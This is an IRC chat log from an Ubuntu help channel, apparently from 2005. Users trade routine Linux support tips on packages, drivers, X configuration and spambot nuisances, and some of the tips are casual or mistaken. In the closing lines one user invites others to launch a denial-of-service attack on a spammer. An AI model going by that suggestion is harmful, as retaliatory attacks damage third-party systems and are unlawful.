[12:12] <nalioth> |line: checkinstall makes debs, rpms and tgzs (or something)
[12:13] <ubotu> lsdvd: (read the contents of a DVD), section multiverse/utils, is optional. Version: 0.10-0.0 (hoary), Packaged size: 9 kB, Installed size: 72 kB
[12:13] <|line> is checkinstall already in most distros
[12:13] <nalioth> |line: read the manpage for it
[12:13] <nalioth> |line: i was surprised to find it in ubuntu, in the past i've had to compile it myself
[12:13] <theD3viL> how to activate multimedia keys on my logitech keyboard?
[12:13] <Seveas> !find normalize
[12:13] <ubotu> normalize-audio: (adjust the volume of WAV files to a standard volume level), section universe/sound, is extra. Version: 0.7.6-4 (hoary), Packaged size: 51 kB, Installed size: 200 kB
[12:13] <Seveas> mp2enc - also mjpegtools
[12:13] <ookii> wow mjpegtools was everything but lsdvd and normalize
[12:14] <Ng> theD3viL: there's a keyboard shortcut manager in the Preferences menu
[12:14] <theD3viL> Ng, thnx
[12:14] <|line> http://ubuntuforums.org/showthread.php?t=27039
[12:14] <Seveas> ookii, hint: apt-file search
[12:14] <ookii> Seveas: I have normalize-audio, but it wants normalize as well (has entries for both of them)
[12:14] <|line> that should help with your keyboard
[12:14] <|line> nite omp
[12:14] <cafuego_> !find bin/normalize
[12:14] <Seveas> dennis@blackbird /var/www/deb $ apt-file search yuvfps
[12:14] <Seveas> mjpegtools: usr/bin/yuvfps
[12:15] <ubotu> Ubuntu Search of 'bin/normalize' (1 shown): (/usr/bin/{normalize-audio|normalize-mp3|normalize-ogg}) in universe/sound/normalize-audio.
[12:15] <Ng> along the floor? ;)
[12:15] <ookii> Seveas: you mean apt-cache search, or a website?
[12:15] <Ng> mischan :/
[12:15] <Seveas> ookii, no, the apt-file command :)
[12:15] <Seveas> sudo aptitude install apt-file
[12:15] <cafuego_> probably symlink 'normalize' to 'normalize-mp3'
[12:15] <Seveas> sudo apt-file update
[12:15] <Seveas> apt-file search normalize
[12:16] <ookii> Seveas: oh, so apt-file is better
[12:16] <Seveas> apt-file searches for files instead of package names
[12:17] <Seveas> it's different, not per se better
[12:18] <ookii> Seveas: so i'm looking for a file in one of these packages called normalize, like the acl2-books package has a "normalize.o"
[12:21] <DjKritical> I'm getting "Unable to open printcap file /etc/printcap for read!" in my samba error logs.. All I did was install it.. shared a folder.. and tried to connect from a windows box
[12:21] <DjKritical> Anyone got any ideas? =)
[12:24] <ookii> Well I searched for normalize and grepped usr/bin and nothing seems to put a file just called normalize in the /usr/bin
[12:26] <ookii> There is only one match on apt-get.org and it's for: Woody and sarge repositories for gnuLinEx, the Extremadura distro based on Debian installed in more than 70.000 computers in this region's high schools
[12:27] <penticlex> dude has any one tried 3ddesk its sooooo cool
[12:27] <hubsi_> hello together :D
[12:30] <Seveas> penticlex, and soooooooooooooo buggy :)
[12:31] <DjKritical> I saw that.. looks like it will be impressing a lot of people one day =)
[12:32] <penticlex> I created a link on my panel and it works great
[12:33] <penticlex> cant remember how to change the buttons on my mouse
[12:33] <penticlex> I might be thinking of kde though
[12:33] <ookii> Seveas: So looks like I'm out of luck eh? Doesn't seem to be anything out there just called 'Normalize'
[12:36] <nalioth> these damned damned bots
[12:38] <spafbnerf> j #ubuntu-dev
[12:38] <spafbnerf> whups
[12:38] <spafbnerf> hi folks
[12:39] <nalioth> holy macaroni, it's 537 in the morning
[12:40] <Seveas> ookii, there is (was a bit bus )
[12:40] <Seveas> busy*
[12:40] <pprince_> huh.
[12:41] <ookii> Seveas: oh no problem, i don't want to be pushy or anything,  you are doing a great free service!
[12:41] <pprince_> so far, every DRM/etc thing that I would care about has been cracked.  because they're designed in various retarded ways.
[12:41] <nalioth> brb
[12:41] <nalioth> quit
[12:41] <deFrysk>  /
[12:41] <nalioth> quit even
[12:41] <pprince_> But what happens when MS finally comes out with a good one?  I mean, it can't be too hard to make it online and using strong crypto.
[12:41] <pprince_> That's going to suck.
[12:42] <Seveas> ookii, install normalize-audio, it will create symlinks named 'normalize'
[12:42] <ookii> Seveas: I did though, off apt too
[12:42] <jsgotangco> brb
[12:42] <_mindspin> is there a way to backport a breezy package to hoary?
[12:43] <Seveas> _mindspin, sure
[12:43] <_mindspin> any howto for that purpose?
[12:43] <Seveas> add a deb-src for a breezy package, apt-get source it and debuild it
[12:43] <ookii> Seveas: I guess if anyone has that symlink on their system, I could just copy it to mine
[12:44] <pprince_> you can't really copy a symlink.  the only info it actually contains is the name of a hardlink it symlinks to :P
[12:44] <pprince_> unless that's you meant.
[12:44] <tombs> hi ppl
[12:44] <pprince_> _mindspin: You can hope it's in ubuntu-backports :P
[12:44] <Seveas> ookii, sudo ln -s /usr/bin/normalize-audio /usr/bin/normalize
[12:44] <_mindspin> after I did that it makes sense to uninstall existing hoary packages?
[12:44] <Seveas> that should work
[12:44] <Seveas> _mindspin, no, it will overwrite :)
[12:44] <penticlex> does any one know how to change the mouse button options
[12:44] <_mindspin> cool
[12:45] <Seveas> _mindspin, what are you trying to backport?
[12:45] <_mindspin> fwbuilder
[12:45] <Seveas> penticlex, probably in /etc/X11/xorg.conf
[12:45] <_mindspin> compiling from source did not work :-(
[12:45] <Seveas> _mindspin, hang on, if it's an easy backport i'll have it in a secind
[12:46] <ikkys> guys, where do i go to configure options to hibernate the pc? is it possible?
[12:46] <Seveas> argh, recursive dependencies...
[12:47] <_mindspin> :-(
[12:47] <Seveas> takes a few minutes more :)
[12:47] <penticlex> nope not there
[12:47] <_mindspin> ;-)
[12:47] <Seveas> hmm
[12:48] <Seveas> looks like it wants a newer QT than hoary has
[12:48] <Seveas> so no luck
[12:48] <_mindspin> ##ck
[12:48] <ookii> Seveas: weeeeeeeeeeee it worked, and you probaly saved me a bunch of other trouble by helping me with the apt repositories, thanks a bunch
[12:50] <penticlex> there is also alien if you want a rpm that no one has made a deb yet
[12:50] <penticlex> alien rules
[12:50] <theD3viL> how to ping my self? open terminal and write ping www.google.com dont work
[12:51] <theD3viL> oh... works ;)
[12:51] <penticlex> ping 127.0.0.1
[12:51] <penticlex> that is you
[12:51] <theD3viL> penticlex, yes i know
[12:51] <penticlex> localhost
[12:51] <bluesceada> theD3viL: ping 127.0.0.1 ...
[12:51] <bluesceada> ping localhost
[12:51] <theD3viL> but i want to ping... hm
[12:51] <theD3viL> not me... but
[12:51] <theD3viL> other page..
[12:53] <theD3viL> anyone know how to activate my infrared?
[12:53] <penticlex> any one know how to change buttons on mouse want scrole to open an app
[12:54] <theD3viL> penticlex, what do you want '
[12:54] <pprince_> Dewey, Cheatem & Howe Attorneys at Law
[12:55] <penticlex> I want to change a button on my mouse to open an aplication or at least another menue kde is easy I did it earlier I just like gnome better its more stable
[12:55] <ikkys> guys, where do i go to configure options to hibernate the pc? is it possible?
[12:56] <Xanthus7> anyone on
[12:56] <Seveas> ikkys, what options do you need? Hibernate is hibernate...
[12:56] <ikkys> yes hibernate/standby
[12:56] <ikkys> so just type on the terminal?
[12:56] <Xanthus7> I cannot get my sound to work in
[12:56] <Xanthus7> audigy2 sound card
[12:57] <Seveas> !audigy
[12:57] <ubotu> somebody said audigy was muted by default in Ubuntu. To unmute, type alsamixer and find Audigy Analog/Digital Out. Select it and press M to unmute. Then type sudo alsactl store to save your settings.
[12:57] <Seveas> ikkys, yeah
[12:57] <Seveas> or close the lid
[12:57] <Seveas> or whatever you set to hibernate :)
[12:58] <osfameron> oh, how to you set close lid to hibernate?
[12:59] <nalioth> anyone have a good auto identify script?
[12:59] <osfameron> Mine just parks the disk when I close disk.  Still need to press Sleep button to get it to sleep
[12:59] <ikkys> seveas, hibernate, command not found
[01:04] <ikkys> seveas
[01:04] <ikkys> u there
[01:04] <Xanthus7> ok next question ubuntu does not have a trash so when you delete something it just delets
[01:05] <ikkys> Xanthus7, thers is a trashcan
[01:05] <Xanthus7> I don't have one on my desktop in fact I have nothing on my desktop
[01:07] <Xanthus7> so when I installed did something not insta;;
[01:07] <Xanthus7> install
[01:07] <ikkys> gnome or kde?
[01:07] <Xanthus7> gnome
[01:08] <osfameron> bottom-right hand corner?
[01:08] <ikkys> try right click and add a pane->trashcan
[01:08] <Xanthus7> Sorry I am use to fc4
[01:09] <Xanthus7> but looking over this version of linux looks like it will do stuff I cannot get doen in fc4
[01:10] <Xanthus7> does ubuntu use rpm's or debian
[01:10] <Belutz> how can i modify the bash prompt so it will show belutz@host:/home/belutz$ instead of belutz@host:~$  ?
[01:10] <Belutz> i can modify it using tcsh, but how to do that in bash?
[01:11] <Belutz> Xanthus7: ubuntu use debian
[01:11] <ikkys> Xanthus7, eveything same, just different method doing the same old things i guess, but trash can should be there by defaut aint it?
[01:12] <funkyHat> :( no gstreamer dev package in repositories?
[01:13] <osfameron> yeah, trash is there by default but a) not on desktop, b) the icon doesn't look much like a trash cen :-)
[01:14] <marcin_ant> hi all
[01:15] <ekimus> hi, anybody knows wether it's necessary to have a kernel image in the cloop image of the live cd?
[01:15] <sexcopter8000m> can anyone suggest a programme for editing mp3 ide tags?
[01:15] <marcin_ant> anybody knows which package has misc-fixed font in breezy?
[01:15] <marcin_ant> sexcopter8000m, easytag
[01:15] <Dingy> do anyone know while dosfsck does this when I try to check my usbdrive? dosfsck 2.11, 12 Mar 2005, FAT32, LFN
[01:15] <Dingy> Currently, only 1 or 2 FATs are supported, not 191.
[01:16] <sexcopter8000m> marcin_ant: ty
[01:16] <ekimus> Dingy: because the fs version is not supported? (like the message says)
[01:17] <Dingy> ekimus, yeah, let me rephrase then, is there anyway to do a diskcheck despite those shortcomings?
[01:17] <Dingy> it's pretty weird
[01:17] <Dingy> windows can't find any errors
[01:18] <Dingy> but linux tells me that something is wrong quite often
[01:18] <ekimus> Dingy: and what does it tell you? maybe the fs is ok but it's something different
[01:19] <Dingy> eh, can't recall the exact message
[01:19] <Dingy> something about a cluster misbehaving
[01:19] <osfameron> smack its bottom!
[01:19] <ekimus> Dingy: a correct error message is half the solution
[01:20] <fluffybunny_> what was that #ubuntu unreg thing about?
[01:20] <nalioth> fluffybunny_: unregistered users are sent there
[01:20] <ekimus> fluffybunny_: there was a spam attack. you need to register to be able to join #ubuntu
[01:20] <nalioth> fluffybunny_: keeps most of the damned pR0nbot annoyances out of here
[01:20] <fluffybunny_> ah!
[01:20] <funkyHat> :( and users who's chat clients don't identify quick enough :(
[01:20] <Xanthus7> how do I find my kernal version
[01:20] <Seveas> the spam attack is still going
[01:21] <osfameron> don't spambots know how to register?
[01:21] <ekimus> hmm well i don't get any new messages now so for me it's over :)
[01:21] <nalioth> Seveas: yes, it seems someone has a few bots too many, eh? lol
[01:21] <fluffybunny_> I'm having a problem with some of my screensavers - some of them run really slowly, and I think i probably don't have all the right video drivers installed? what do I do?
[01:22] <nalioth> osfameron: you'd better hope they dont learn
[01:22] <ikkys> ok, how do i recompile kernel to support APM
[01:22] <Xanthus7> What is the command to find my kernal verson
[01:22] <ekimus> Xanthus7: uname -a
[01:23] <ekimus> ikkys: kernel howto on tldp.org is quite good
[01:24] <Xanthus7> 32 2.6.10-5-386  this is the kernal
[01:25] <ekimus> Xanthus7: 1.) it's "kernel" 2.) if uname -a tells you that than it should be right, but i doubt you have version 32 of a linux kernel
[01:25] <ikkys> thx ekimus
[01:26] <Xanthus7> I want to get the ati drivers
[01:26] <Xanthus7> what found was I need the kernal name
[01:26] <Seveas> !tell fluffybunny_ about bindrivers
[01:26] <ekimus> Xanthus7: search the wiki for DRI
[01:26] <Seveas> f* bad factoid
[01:26] <Seveas> fluffybunny_, which videocard?
[01:26] <ekimus> Xanthus7: kern_e_l
[01:27] <osfameron> nalioth, heh, pwntcha is getting pretty powerful, good if it's not mainstream yet :-)
[01:27] <ekimus> Xanthus7: it's "e" not "a"
[01:27] <Xanthus7> ati 9600 xt radeon
[01:27] <fluffybunny_> Saveas: radeon
[01:27] <fluffybunny_> i mean Seveas: radeon
[01:27] <ekimus> Xanthus7: go to wiki.ubuntu.com and search for dri there you will find a howto
[01:28] <Seveas> !ati
[01:28] <ubotu> somebody said ati was https://wiki.ubuntu.com/BinaryDriverHowto/ATI
[01:28] <Seveas> ^-- fluffybunny_
[01:28] <fluffybunny_> thanks
[01:34] <aftertaf> www.linuxcommand.org is really great!
[01:34] <aftertaf> !cli
[01:34] <ubotu> somebody said cli was https://wiki.ubuntu.com/BasicCommands or http://www.linuxcommand.org/
[01:35] <aftertaf> !shell
[01:35] <ubotu> aftertaf: Did you get hit by a windmill?
[01:35] <nalioth> osfameron: thats great, since pwntchas arent used here
[01:35] <aftertaf> someone should tell him shel IS linuxcommand.org :)
[01:36] <osfameron> nalioth, ah, ok, shoulda checked :-)
[01:36] <Arsonide> So, I found the "Startup Programs" panel, how do I add gaim to it? I mean, where are "Program Files"
[01:37] <Seveas> !shell is https://wiki.ubuntu.com/BasicCommands or http://www.linuxcommand.org/
[01:37] <ubotu> okay, Seveas
[01:37] <wickedpuppy> Arsonide, if you still thinking like win XP ... i doubt linux will be easy for ya
[01:37] <nalioth> Arsonide: use smeg
[01:38] <nalioth> Arsonide: and yes, this is nothing like windows (except you use a mouse and click on things)
[01:38] <Arsonide> wickedpuppy, I am not "thinking" like Windows XP, I just don't know how to put it into words, so I use references from it.
[01:38] <wickedpuppy> ah i see ...
[01:38] <nalioth> Arsonide: ubotu sent you a msg
[01:38] <robsta> are there any ppc users? tried upgrading to breezy on my ibook (rage128) but X fails
[01:38] <wickedpuppy> there is no one place for program files .. if thats helpful
[01:39] <nalioth> robsta: welcome to the club
[01:39] <nalioth> robsta: breezy doesnt like my imac, either
[01:39] <fluffybunny_> howcome my package manager has xscreensaver 4.16, when 4.22 has been released? shouldn't I see 4.22 as an option?
[01:39] <robsta> nalioth: any fix? other than downgrading ..
[01:39] <Belutz> Seveas: do you know how can i modify the bash prompt so it will show belutz@host:/home/belutz$ instead of belutz@host:~$  ?
[01:39] <nalioth> robsta: run "sudo dpkg-reconfigure xserver-xorg" and choose the VESA driver
[01:39] <Arsonide> nalioth, Yeah it does that a lot :)
[01:39] <ikkys> how do i know if i have the linux kernel source code installed on my ubuntu? or is it installed? or do i have to download one?
[01:40] <robsta> nalioth: with kernel framebuffer or without?
[01:40] <nalioth> robsta: whichever one works for you, bubba
[01:41] <robsta> nalioth: thx
[01:41] <ikkys> anyone??
[01:43] <robsta> ikkys: check the same way as for other packages
[01:43] <ikkys> apt-cache search kernel?
[01:43] <Arsonide> Thanks nalioth - just what I was looking for actually.
[01:44] <Digis> ikkys, apt-cache search kernel source, apt-get instal kernel-source-xxxx--xxx
[01:45] <ubuntUser> to which directory ubuntu installs .deb?
[01:45] <Digis> ubuntUser, it install debs everythere, but debs are held in /var/cache/apt/archives
[01:46] <nalioth> ubuntUser: depends on the isntruction inside the .deb
[01:46] <ubuntUser> i mean mplayer
[01:46] <ubuntUser> how can i find the localization out?
[01:47] <aftertaf> Digis:  isnt it linux-source-xx-xx-xn ubuntu?x o
[01:47] <aftertaf> Digis:  isnt it linux-source-xx-xx-x on ubuntu?
[01:47] <aftertaf> ops
[01:47] <Digis> in hoary it is "kernel-source-2.6.10"
[01:48] <aftertaf> oki.
[01:48] <aftertaf> linux-source is for compiling new kernels?
[01:49] <Xanthus7> Ok I went to wiki and got driver installed no I cannot change screen resoulations what up with that
[01:49] <nessmuk> I'm getting the Broken BIOS error on my VIA mobo. Any links or tips for this? Is it a problem with the Hoary cd, or do I need to flash my bios?
[01:50] <Xanthus7> ati 9600xt radeon card
[01:50] <Digis> aftertaf, kernel source is for compiling new kernels
[01:51] <fluffybunny_> what is this repository: mirror.isp.net.au/pub/ubuntu/ ???
[01:51] <__filip_> does somebody know an easy way to stup an dc-hub in ubuntu?
[01:52] <Whistler> __filip_
[01:52] <Whistler> i do
[01:53] <Whistler> __filip_ http://www.kst.name/madboy/?p=6
[01:53] <wdh> hi ppls.. does anyone know how to slow down the irssi-autojoin? I am taken to #ubuntu-unregged now..
[01:54] <ekimus> anybody knows wether it's necessary to have linux-image-2.6.10-5-386 inside the cloop image of the live cd?
[01:54] <wdh> because my auto-identify is somewhat slower then auto-join
[01:54] <__filip_> thanh you
[01:54] <aftertaf> i only have kernel-source-2.4-27
[01:54] <Whistler> __filip_ np :)
[01:54] <Ng> wdh: I'm using the nickserv plugin rather than an auto-connect command to msg nickserv and that seems to be working
[01:54] <aftertaf> but many linux-source......
[01:55] <wdh> Ng, im using the same plugin.. and here it doesnt work
[01:55] <aftertaf> Command substitution... MMMmmmmmmm :)
[01:55] <Ng> wdh: did you add the nickserv as "Nickserv@services." (note the fullstop at the end there, it is required)
[01:56] <wdh> Ng, the plugin _is_ working correctly.. only it is a little slower then the autojoin part
[01:56] <Xanthus7> when I try to change screen resoulations after installing fxglx ati drive I get this error how can i fix this
[01:56] <Xanthus7> The X Server does not support the XRandR extension.  Runtime resolution changes to the display size are not available.
[01:57] <Ng> wdh: well I have no idea then, from what I can see that shouldn't be possible
[01:57] <ekimus> Xanthus7: fglrx (the correct name for the driver) doesn't support xrandr afaik
[01:57] <__filip_> Whistler: that is how to install an dc client, i whant to run an dc-hub
[01:57] <Xanthus7> so how do I get a 1024x768 screen please
[01:57] <Whistler> __filip_ oh you want to set up server?
[01:58] <wdh> Ng, it's only seconds.. there is probably no mechanism to make sure one comes after the other.. probably both just executed at the same time
[01:58] <Xanthus7> this is just to small my eyes are to old
[01:58] <wdh> Ng, but thx for trying anyway
[01:58] <Whistler> __filip_ sorry for my mistake :)
[01:58] <Ng> wdh: you can add a delay on the autojoin I think, try google :)
[01:58] <ekimus> Xanthus7: edit your /etc/X11/xorg.conf and enter the correct resolution (should be obvious where to change the values just read thru the file) and make a backup before you do that!
[01:59] <Xanthus7> I looked at that you would not belive how many places there is for screen resoulations
[02:00] <ekimus> Xanthus7: i wrote those files myself many times, i know there are only a few places :)
[02:00] <__filip_> yes i whant to setup an server, i not that good in english so my description may not be that good.
[02:00] <ekimus> Xanthus7: use a pasteservice and paste the file there.... i will show you the correct place
[02:00] <Sionide> grr stupid spambots, not been delt with yet?
[02:00] <ekimus> Sionide: topic
[02:01] <Sionide> yes...
[02:01] <wickedpuppy> /topic
[02:01] <Sionide> done that..
[02:01] <Sionide> why can't an ircop gline them? :/
[02:01] <aftertaf> Xanthus7:  there is a Screen section in xorg.conf
[02:02] <ekimus> Xanthus7: have you pasted the file?
[02:03] <Belutz> is it ok to upgrade from this repo deb http://archive.ubuntu.com/ubuntu hoary-backports main restricted universe multiverse ?
[02:03] <Xanthus7> just made a backup of that that file
[02:03] <Xanthus7> put it in my home dir
[02:04] <ekimus> Xanthus7: very good. now copy the contents to a paste service and i will show you where the section is you want to edit
[02:04] <Xanthus7> Section "Screen"
[02:04] <Xanthus7>         Identifier      "Default Screen"
[02:04] <Xanthus7>         Device          "ATI Technologies, Inc. Radeon 9600 XT (RV350 AR)"
[02:04] <Xanthus7>         Monitor         "SyncMaster"
[02:04] <Xanthus7>         DefaultDepth    24
[02:04] <Xanthus7>         SubSection "Display"
[02:04] <Xanthus7>                 Depth           1
[02:04] <Xanthus7>                 Modes           "1280x1024" "1024x768" "832x624" "800x600" "720$        EndSubSection
[02:04] <ekimus> Xanthus7: stop
[02:04] <fluffybunny_> my friend who uses gentoo has a later version of xscreensaver with some really nice screensavers - how do I get this?
[02:05] <ekimus> Xanthus7: don't paste here use a pasteservice
[02:05] <thoreauputic> I've mad a factoid for the wiki index !docs ( for those who want to direct people to a wiki gateway)
[02:05] <Xanthus7> never heard of a pastsevice
[02:05] <thoreauputic> * s/mad/made :)
[02:05] <thoreauputic> !docs
[02:05] <ubotu> rumour has it, docs is an index of documentation on the Ubuntu Wiki - you can find it at https://wiki.ubuntu.com/UserDocumentation
[02:05] <Xanthus7> I am sorry if I did something wrong
[02:05] <ekimus> Xanthus7: www.justfuckinggoogleit.com
[02:06] <Belutz> !paste
[02:06] <ubotu> paste is probably please use http://paste.ubuntulinux.nl/ or #flood to paste large amounts of text
[02:06] <ekimus> Xanthus7: google: pasteservice should be the first link
[02:06] <ekimus> Xanthus7: that's just so the channel isn't flooded with tons of config files
[02:06] <Belutz> Xanthus7: see what ubotu just said
[02:06] <fluffybunny_> my friend who uses gentoo has a later version of xscreensaver with some really nice screensavers - how do I get this?
[02:06] <Xanthus7> ok np sorry
[02:07] <thoreauputic> fluffybunny_: maybe,  apt-cache search xscreensaver | grep hacks
[02:07] <thoreauputic> xscreensaver-gl - GL(Mesa) screenhacks for xscreensaver
[02:08] <thoreauputic> fluffybunny_: extra stuff in that package ( might be some nice ones but require GL of course)
[02:09] <ekimus> Xanthus7: when you got the url for the file paste it here (the url not the file :)
[02:09] <fluffybunny_> thoreauputic: cool, thanks
[02:09] <thoreauputic> fluffybunny_: no worries :)
[02:10] <Arsonide> Ah so "program files" = /usr/bin
[02:10] <nalioth_zZz> Arsonide: no sir
[02:10] <Arsonide> Gah
[02:10] <nalioth_zZz> Arsonide: users have no business in /usr/bin
[02:10] <Arsonide> Oh.
[02:11] <nalioth_zZz> Arsonide: if you install something yourself (don't use apt) it goes in /usr/local/ (bin, lib, etc, )
[02:11] <osfameron> I thought the ubuntu screensavers are pretty shiny already
[02:11] <Arsonide> Well this tutorial ran me by it and I noticed gaim and a bunch of other stuff in there.
[02:11] <osfameron> compared to default winxp ones
[02:11] <nalioth_zZz> Arsonide: yes, the "system" keeps it files in there
[02:11] <ekimus> osfameron: gentoo hase one of those osx teletubby screensavers (if you specify to compile it with opengl)
[02:12] <Arsonide> So I'm in the system's turf and should get out.
[02:12] <Arsonide> lol
[02:12] <nalioth_zZz> Arsonide: anything you compile/install should go in /usr/local/bin, your libs in /usr/local/lib, etc
[02:12] <Whistler> grrr i hate apt-get servers cause i get only 60kB/s
[02:12] <Arsonide> Alright.
[02:12] <nalioth_zZz> Arsonide: on a *nix box, the user "owns" nothing. the system lets the user use, say, firefox
[02:13] <nalioth_zZz> Arsonide: if you open a terminal and type "ls -al" you'll see a bunch of "dot files" (beginning with ".")
[02:13] <Arsonide> Question, with ls it didn't explain what the various colors mean.
[02:13] <Arsonide> Yeah those are hidden files.
[02:13] <nalioth_zZz> Arsonide: those are your settings, your bookmarks, etc for each program
[02:13] <nalioth_zZz> Arsonide: folders and 'executables'
[02:13] <Arsonide> I assume the various colors are file types...there a list of'em somewhere?
[02:14] <nalioth_zZz> Arsonide: folders and 'executables' are the various colors
[02:14] <Arsonide> oh, alright
[02:15] <nalioth_zZz> now i really must get a nap
[02:15] <nalioth_zZz> i'll be back in about 12 hours or so
[02:16] <topyli> what is toshset? during upgrade, debconf asks me to disable acpi "so that toshset will work properly"
[02:16] <Seveas> toshiba stuff
[02:16] <topyli> ah. i don't care then :)
[02:16] <topyli> thanks Seveas
[02:21] <theD3viL> When breezy will be out? In September or October ?
[02:22] <Seveas> theD3viL, october
[02:22] <theD3viL> :(
[02:22] <__filip_> is it someone that know an easy way to setup an dc hub server?
[02:22] <Seveas> NEVER run such scripts in here
[02:22] <Seveas> disable it and you get your voice back
[02:23] <theD3viL> Seveas, who you are, you have op! Why only you?
[02:23] <Seveas> theD3viL, /msg nickserv access #ubuntu list
[02:24] <ubuntUser> how to check the path where .deb is installed?
[02:24] <ubuntUser> is there any command?
[02:24] <theD3viL> ubuntUser, whereis name.deb
[02:25] <theD3viL> Seveas, -NickServ- Unknown switch [#ubuntu] 
[02:25] <topyli> theD3viL: yes, #ubuntu is an argument and should come last
[02:25] <theD3viL> aha
[02:25] <Xanthus7> Thank You got that file edited with no problems I can see my screen again
[02:25] <ubuntUser> theD3viL: but it only prints names of packages
[02:25] <ubuntUser> without any paths
[02:25] <Seveas> theD3viL, /msg chanserv access #ubuntu list
[02:26] <ubuntUser> i ant to know the path
[02:26] <ubuntUser> :/
[02:26] <Seveas> chanserv, not nickserv :)
[02:26] <theD3viL> aha =)
[02:27] <ubuntUser> theD3viL: can prv?
[02:27] <nalioth_zZz> Seveas: do you need a nap?
[02:27] <nalioth_zZz> heh heh
[02:35] <theD3viL> Anyone knows why some *.pps plays at 1 sec (about 30 pictures) ?
[02:35] <dwerf> what is, in linux, the equivalent to ctrl + alt + del?
[02:35] <theD3viL> dwerf, restart X
[02:36] <hmmf> same dwerf ctrl, alt, backspace to get out of x first
[02:36] <aftertaf> depends on what u want with CTLALT DEL
[02:39] <Deep6> guys can someone tell me how to rsync a directory with spaces in it I've tried escaping and quoting
[02:39] <hmmf> rename it?
[02:39] <Deep6> by the way piss off korhann and ZurnaNet5063 stupid spam bots
[02:39] <Deep6> hmmf, Its on a windows read only NTFS part
[02:40] <hmmf> can you still boot doze?
[02:40] <Deep6> nope
[02:40] <dwerf> ok, ctrl + alt + backspace works really well!
[02:40] <Deep6> plus the machine is 500 km's from me
[02:41] <hmmf> use a usb memory stick if you can
[02:41] <dwerf> how do i go back to ubuntu from there?
[02:41] <wickedpuppy> dwerf, startx
[02:41] <dwerf> cool
[02:41] <hmmf> copy the dir and go to a place with a working doze who trusts you
[02:41] <aftertaf> or /etc/init.d/gdm restart
[02:41] <Deep6> hmmf, what a great idea! now all I need is an 16 Gig memory stick
[02:42] <unvs_> Deep6: did you try going to it's sub directory, type in "cd startofdir<tab>" then copy/paste what it uses to changedir in the shell?
[02:42] <aurax_> !info linux-686
[02:42] <ubotu> linux-686: (Complete Linux kernel on PPro/Celeron/PII/PIII/PIV.), section restricted/base, is optional. Version: 2.6.10-7 (hoary), Packaged size: 21 kB, Installed size: 48 kB
[02:42] <hmmf> geez you let your directories get big
[02:42] <Deep6> unvs_, yes
[02:42] <aurax_> hmm
[02:42] <aurax_> !dpkg linux-686
[02:42] <ubotu> aurax_: Did you get hit by a windmill?
[02:42] <aurax_> yeh
[02:43] <scanwinder> when my laptop goes into standby, if its in standby for too long, it wont come back up - it just has a black screen when i try.............but if its only in standby for a short period, it comes back up fine.........anyone know how2 fix this?
[02:43] <aftertaf> acpi or apm ?
[02:43] <scanwinder> aftertaf, apm
[02:43] <aftertaf> could be buggy support for one or the other of them with your laptop.
[02:44] <theD3viL> Will be breezy faster???
[02:44] <unvs_> Deep6: what if you symlink?
[02:44] <wickedpuppy> how to play avi files in totem ? needs which codec or plugin ?
[02:44] <aftertaf> !codecs
[02:44] <ubotu> it has been said that codecs is http://www.ubuntulinux.org/wiki/RestrictedFormats
[02:44] <theD3viL> apt-get install w32codecs
[02:44] <scanwinder> aftertaf, any ideas how i should go about fixing the problem then?
[02:44] <Dogtix> ello, anyone here running software raid 5 (SATA) ?
[02:45] <aftertaf> scanwinder:  no idea..... check you have most uptodate bios... check which is better suported on your PC...
[02:45] <aftertaf> but only general ideas like that, sorry!!
[02:45] <bwlang> Dogtix: just ask...
[02:46] <Dogtix> I'm after a performance guideline, not an answer really
[02:46] <bwlang> theD3viL: only if you buy a new computer
[02:46] <theD3viL> bwlang, and what is problem?
[02:46] <dwerf> ok, so startx starts the system when the graphical interface is off, but it returns a desktop with entirely different settings, like language, standard irc-channel, etc
[02:46] <theD3viL> bwlang, i have very fast computer..
[02:47] <unvs_> Deep6: what if you symlink?
[02:47] <bwlang> theD3viL: ? you asked if breezy will be faster... it will if you buy a faster comptuer
[02:47] <Deep6> there's go to be a way
[02:47] <theD3viL> bwlang, faster than hoary...
[02:47] <bwlang> theD3viL: no
[02:48] <theD3viL> bwlang, and what will be different '
[02:48] <unvs_> Deep6: try symlinking the directory to a link with no spaces, then run rsync is what i mean
[02:48] <hmmf> you can get a free copy of 2003 windows server from MS and use another puter with it
[02:48] <bwlang> theD3viL : updated software... better utilities etc.
[02:48] <unvs_> Deep6: that's what the cygwin-crowd is doing anyways, works there
[02:49] <theD3viL> bwlang, tnx
[02:49] <dwerf> ok, so startx starts the system when the graphical interface is off, but it returns a desktop with entirely different settings, like language, standard irc-channel, etc
[02:49] <Deep6> unvs_, O
[02:49] <Deep6> I'll try that
[02:50] <drummer87> hi, anyone here have a wacom pad?
[02:50] <dwerf> drummer87 > ido
[02:50] <drummer87> i'm having problems with mine
[02:50] <dwerf> drummer87 > does it sometimes dance around the screen?
[02:51] <drummer87> dwerf, no, i can't click with it, only sometimes randomly
[02:51] <drummer87> and now it's stopped working completely (no movement)
[02:52] <dwerf> drummer87 > i have that too - i checked wacom on synaptic, but there's not much
[02:52] <aftertaf> dwerf:  depends on which user is ogged in when you run it...
[02:52] <aftertaf> hence why i said to rerun gdm
[02:52] <aftertaf> or kubuntu : kdm
[02:52] <aftertaf> /etc/init.d/k|gdm restart
[02:53] <drummer87> dwerf, would it be the drivers that are getting messed up? or X? or hardware?
[02:53] <aftertaf> you can only run startx as root, so better to pass by your login manager
[02:54] <apokryphos> aftertaf: incorrect; startx can be run as a normal user
[02:55] <dwerf> drummer87 > i wish i knew
[02:55] <aftertaf> ok
[02:55] <scanwinder> how do i go into standby using ACPI? whats the command?
[02:55] <dwerf> drummer87 > bacause i'd like to fix my wacom on linux
[02:55] <aftertaf> still, better to use login manager imho
[02:56] <apokryphos> definitely, yes.
[02:56] <dwerf> drummer87 > the preferences can be found in /usr/src/modules/wacom
[02:56] <drummer87> dwerf, hmm.. i might try compiling the latest wacom drivers
[02:56] <apokryphos> aftertaf: you do need sudo though to i.e. start kdm
[02:57] <drummer87> nothing in my /usr/src/modules folder
[03:00] <aftertaf> but you can choose the user for X with it!
[03:01] <dwerf> if i type 'locate whatever' in the shell, is there a way of selecting the returned info in a command, rather than typing it over?
[03:01] <aftertaf> dwerf:  pipe it
[03:01] <aftertaf> |
[03:01] <aftertaf> :)
[03:02] <dwerf> aftertaf > what is piping?
[03:02] <stoeptegel> i can't get my second sata harddrive to work under kubuntu, it says kernel panic, can't find partition /
[03:02] <supernix> anyone wanna do a DDS attack on that spammer ?
[03:02] <aftertaf> !tell dwerf about cli
[03:03] <supernix> I just got back and that mother spammed me over 50 times while I was gone and same url
